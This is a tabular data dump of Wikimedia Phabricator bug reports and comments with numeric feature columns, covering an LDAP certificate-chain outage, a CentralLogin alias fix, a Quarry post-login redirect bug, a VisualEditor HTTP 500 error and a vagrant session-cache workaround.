paravoid: there is no easy way to fix this, the easiest one would be to fix OpenDJ to serve the full chain",Needs Triage,90.0,1433369195,1433372141.0,PHID-USER-22bsa5u75jz3ci3wnplu,False,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-TASK-yw6zst7vw2qunulr4wp3,task_description,resolved,True,c3,1,True,False,True,-5,True,0.0,0.0,0.0,0.0,1.5,7.0,2.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,5.5,6.0,0.0,2.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,3.5,0.0,0.5,0.0,0.0,0.5,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.5,2.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,4.5,0.5,0.0,9.0,0.0,0.0,0.0,0.0,3.5,0.0,3.0,0.0,1.0,6.0,3.5,0.5,0.0,0.0,1.0,0.0,1.0,3.0,0.0,0.5,1.0,0.5,9.5,3.6301369863013697,0.5753424657534246,"We just had an ldap outage because the ldap cert setup is... unexpected.


[4:55pm] paravoid: this is pretty broken in general
[4:55pm] Coren: paravoid: What was the issue?
[4:55pm] paravoid: ldap.conf was pointing to /etc/ssl/certs/GlobalSign_CA.pem as the CA
[4:55pm] paravoid: which is pretty broken
[4:55pm] paravoid: that's a single intermediate CA, not a certificate store
[4:56pm] paravoid: also, OpenDJ seems to serve just its certificate, not a chain up to a root
[4:56pm] paravoid: also quite broken
...
paravoid: there is no easy way to fix this, the easiest one would be to fix OpenDJ to serve the full chain"
468685,Fix cert handling in our ldap servers,"This is fixed in puppet with rOPUP1a195544eaed. The puppet code is pretty bad though and it wouldn't automatically regenerate the PKCS12 bundle, so I did this manually and restarted OpenDJ on both neptunium and nembus. `openssl s_client` seems to verify that the full chain is being served now.",,,1433372134,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-yw6zst7vw2qunulr4wp3,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,6.0,2.0,4.0,2.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,12.0,12.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,12.0,4.0,6.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.8461538461538461,"This is fixed in puppet with rOPUP1a195544eaed. The puppet code is pretty bad though and it wouldn't automatically regenerate the PKCS12 bundle, so I did this manually and restarted OpenDJ on both neptunium and nembus. CODE seems to verify that the full chain is being served now."
468684,Fix cert handling in our ldap servers,"Change 215808 merged by Faidon Liambotis:
ldap: serve the full certificate chain for TLS

[[https://gerrit.wikimedia.org/r/215808]]",,,1433371991,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yw6zst7vw2qunulr4wp3,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,0.8695652173913043,"Change 215808 merged by Faidon Liambotis:
ldap: serve the full certificate chain for TLS

[[GERRIT_URL]]"
468682,Fix cert handling in our ldap servers,"Change 215808 had a related patch set uploaded (by Faidon Liambotis):
ldap: serve the full certificate chain for TLS

[[https://gerrit.wikimedia.org/r/215808]]
",,,1433371918,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yw6zst7vw2qunulr4wp3,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,17.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.8666666666666667,0.9,"Change 215808 had a related patch set uploaded (by Faidon Liambotis):
ldap: serve the full certificate chain for TLS

[[GERRIT_URL]]
"
101193,Did not find alias for special page 'CentralLogin',"I get lots of this error when using the centralauth vagrant role, during actions which involve redirection to the login wiki (e.g. login, registration).",Needs Triage,90.0,1433289025,1435263154.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-TASK-daqlgvlgtzg6ugofevip,task_description,resolved,True,c3,1,True,False,True,-5,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,3.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,4.448275862068965,0.896551724137931,"I get lots of this error when using the centralauth vagrant role, during actions which involve redirection to the login wiki (e.g. login, registration)."
481942,Did not find alias for special page 'CentralLogin',"* https://gerrit.wikimedia.org/r/220851 (branch master): #mw1.26wmf12
",,,1435262479,,PHID-USER-n4kveqwjjlpsb6ydn73h,False,,,PHID-TASK-daqlgvlgtzg6ugofevip,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,"* GERRIT_URL (branch master): #mw1.26wmf12
"
481895,Did not find alias for special page 'CentralLogin',"Change 220851 merged by jenkins-bot:
Add non-translatable alias for Special:CentralLogin

[[https://gerrit.wikimedia.org/r/220851]]",,,1435259347,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-daqlgvlgtzg6ugofevip,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.8333333333333334,"Change 220851 merged by jenkins-bot:
Add non-translatable alias for Special:CentralLogin

[[GERRIT_URL]]"
481870,Did not find alias for special page 'CentralLogin',"Change 220851 had a related patch set uploaded (by Gergő Tisza):
Add non-translatable alias for Special:CentralLogin

[[https://gerrit.wikimedia.org/r/220851]]
",,,1435257520,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-daqlgvlgtzg6ugofevip,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,23.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.966666666666667,0.9,"Change 220851 had a related patch set uploaded (by Gergő Tisza):
Add non-translatable alias for Special:CentralLogin

[[GERRIT_URL]]
"
101124,Make sure labs ENC knows about cert changes,When we change cert names the ENC might break -- we should make sure it won't.,Needs Triage,90.0,1433263433,1433598006.0,PHID-USER-22bsa5u75jz3ci3wnplu,False,PHID-USER-22bsa5u75jz3ci3wnplu,False,PHID-TASK-lhud3fvnl6owel2xd77p,task_description,resolved,True,c3,1,True,True,True,-5,True,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.9444444444444444,When we change cert names the ENC might break -- we should make sure it won't.
467619,Make sure labs ENC knows about cert changes,Bitrotted patch: https://gerrit.wikimedia.org/r/#/c/202790/,,,1433264246,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-lhud3fvnl6owel2xd77p,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Bitrotted patch: URL
100162,Return to the starting Quarry page after login,"Here is how to reproduce the bug:

1. Go to a specific query page on Quarry, say http://quarry.wmflabs.org/query/3654

2. Click on the Login link up top

3. Pass the OAuth step successfully.

Expected behavior: you should be redirected back to http://quarry.wmflabs.org/query/3654 after login.

Current behavior: you are redirected to http://quarry.wmflabs.org/ instead.

I assume this can be fixed by keeping the referring URL in a query string or a cookie.",Needs Triage,90.0,1432471223,1436097627.0,PHID-USER-p2ebbrj45wupyi25othr,False,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-TASK-5t56qsjhduozaemm4nb5,task_description,resolved,True,c3,1,True,False,True,-6,True,0.0,0.0,0.0,3.0,0.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,12.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,2.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,16.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,8.0,5.0,16.0,1.0,1.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,3.0,12.0,5.0,0.0,0.0,0.0,3.0,0.0,1.0,3.0,0.0,2.0,0.0,0.0,1.0,3.5697674418604652,0.6511627906976745,"Here is how to reproduce the bug:

1. Go to a specific query page on Quarry, say URL

2. Click on the Login link up top

3. Pass the OAuth step successfully.

Expected behavior: you should be redirected back to URL after login.

Current behavior: you are redirected to URL instead.

I assume this can be fixed by keeping the referring URL in a query string or a cookie."
486723,Return to the starting Quarry page after login,Fixed!,,,1436097627,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-5t56qsjhduozaemm4nb5,task_subcomment,,True,c3,3,True,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Fixed!
486721,Return to the starting Quarry page after login,"Change 222891 merged by jenkins-bot:
Do not unconditionally redirect to home page after login

[[https://gerrit.wikimedia.org/r/222891]]",,,1436097467,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5t56qsjhduozaemm4nb5,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.041666666666667,0.9166666666666666,"Change 222891 merged by jenkins-bot:
Do not unconditionally redirect to home page after login

[[GERRIT_URL]]"
486720,Return to the starting Quarry page after login,"Change 222891 had a related patch set uploaded (by Yuvipanda):
Do not unconditionally redirect to home page after login

[[https://gerrit.wikimedia.org/r/222891]]
",,,1436097449,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5t56qsjhduozaemm4nb5,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.103448275862069,0.896551724137931,"Change 222891 had a related patch set uploaded (by Yuvipanda):
Do not unconditionally redirect to home page after login

[[GERRIT_URL]]
"
100136,Cannot save page edits due to parsoidserver-http: HTTP 500 in Chinese Wikipedia when using Visual Editor,{F168490},Needs Triage,90.0,1432457177,1438468021.0,PHID-USER-adqeptkffhhfdhukexph,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-jvnhdm5lp77f4bx2eg3q,task_description,resolved,True,c3,1,False,False,True,-6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,{F168490}
502280,Cannot save page edits due to parsoidserver-http: HTTP 500 in Chinese Wikipedia when using Visual Editor,">>! In T100136#1509579, @Shangkuanlc wrote:
> Frankly, I am not sure whether it's the same with T104230 I will give you feedback if I encounter this situation again next time.

Thank you!",,,1438745169,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jvnhdm5lp77f4bx2eg3q,task_subcomment,,True,c3,3,True,,,4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.142857142857143,0.8571428571428571,"QUOTE
QUOTE

Thank you!"
502279,Cannot save page edits due to parsoidserver-http: HTTP 500 in Chinese Wikipedia when using Visual Editor,"Frankly, I am not sure whether it's the same with T104230 I will give you feedback if I encounter this situation again next time.",,,1438745038,,PHID-USER-adqeptkffhhfdhukexph,False,,,PHID-TASK-jvnhdm5lp77f4bx2eg3q,task_subcomment,,True,c3,3,False,,,4,True,0.0,0.0,0.0,0.0,4.0,11.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,19.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,19.0,11.0,4.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.925925925925926,0.9259259259259259,"Frankly, I am not sure whether it's the same with T104230 I will give you feedback if I encounter this situation again next time."
500775,Cannot save page edits due to parsoidserver-http: HTTP 500 in Chinese Wikipedia when using Visual Editor,This almost certainly was the same as {T104230}. Sorry for the disruption. :-(,,,1438468021,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jvnhdm5lp77f4bx2eg3q,task_subcomment,,True,c3,3,True,,,4,True,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,18.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8823529411764706,0.8823529411764706,This almost certainly was the same as {T104230}. Sorry for the disruption. :-(
500773,Cannot save page edits due to parsoidserver-http: HTTP 500 in Chinese Wikipedia when using Visual Editor,"Is this the same as {T41057}?   Also, do you remember whether you copied and pasted a reference?",,,1438467695,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-jvnhdm5lp77f4bx2eg3q,task_subcomment,,True,c3,3,False,,,4,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,13.0,4.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,9.0,4.0,9.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.4782608695652173,0.9130434782608695,"Is this the same as {T41057}?   Also, do you remember whether you copied and pasted a reference?"
465552,Cannot save page edits due to parsoidserver-http: HTTP 500 in Chinese Wikipedia when using Visual Editor,"Oh... I am not sure, I used firefox and OSX Yosemite. I put the OS X into sleep for a night, and when I return to the browser then it got into this situation.",,,1432884191,,PHID-USER-adqeptkffhhfdhukexph,False,,,PHID-TASK-jvnhdm5lp77f4bx2eg3q,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,23.0,3.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,13.0,10.0,5.0,0.0,0.0,0.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.2051282051282053,0.7948717948717948,"Oh... I am not sure, I used firefox and OSX Yosemite. I put the OS X into sleep for a night, and when I return to the browser then it got into this situation."
465046,Cannot save page edits due to parsoidserver-http: HTTP 500 in Chinese Wikipedia when using Visual Editor,"Thanks for taking the time to report this!

What are exact steps to reproduce the problem, so that anybody else could try? Also see https://www.mediawiki.org/wiki/How_to_report_a_bug",,,1432821372,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jvnhdm5lp77f4bx2eg3q,task_subcomment,,True,c3,1,True,,,-5,True,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,17.0,3.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,3.0,14.0,7.0,0.0,10.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.8620689655172415,0.9310344827586207,"Thanks for taking the time to report this!

What are exact steps to reproduce the problem, so that anybody else could try? Also see URL"
462836,Cannot save page edits due to parsoidserver-http: HTTP 500 in Chinese Wikipedia when using Visual Editor,"I am switching the edit mode from visual editor to source code, and it still freezed the tab like the screenshot. I can't save my work in any way?
{F168495}
It sends back ""server error 500""
{F168497}",,,1432458012,,PHID-USER-adqeptkffhhfdhukexph,False,,,PHID-TASK-jvnhdm5lp77f4bx2eg3q,task_subcomment,,True,c3,1,False,,,-6,True,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,6.0,0.0,6.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,10.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,10.0,8.0,2.0,2.0,4.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.32,0.84,"I am switching the edit mode from visual editor to source code, and it still freezed the tab like the screenshot. I can't save my work in any way?
{F168495}
It sends back ""server error 500""
{F168497}"
462835,Cannot save page edits due to parsoidserver-http: HTTP 500 in Chinese Wikipedia when using Visual Editor,"I am switching the edit mode from visual editor to source code, and it still freezed the tab like the screenshot. I can't save my work in any way?
{F168495}",,,1432457895,,PHID-USER-adqeptkffhhfdhukexph,False,,,PHID-TASK-jvnhdm5lp77f4bx2eg3q,task_subcomment,,True,c3,1,False,,,-6,True,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,8.0,0.0,5.0,11.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,8.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,11.0,0.0,3.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.4594594594594597,0.918918918918919,"I am switching the edit mode from visual editor to source code, and it still freezed the tab like the screenshot. I can't save my work in any way?
{F168495}"
100068,Can't login on labs-vagrant instance without disabling $wgSessionsInObjectCache,"Updating https://ogvjs-testing.wmflabs.org I found I was unable to log in, with errors about cookies being disabled. Usually this indicates something about the session serialization if cookies themselves are present.

Worked around by disabling these lines in /vagrant/LocalSettings.php:

```
 // Avoid user request serialization and other slowness
-$wgSessionCacheType = 'redis';
-$wgSessionsInObjectCache = true;
+#$wgSessionCacheType = 'redis';
+#$wgSessionsInObjectCache = true;
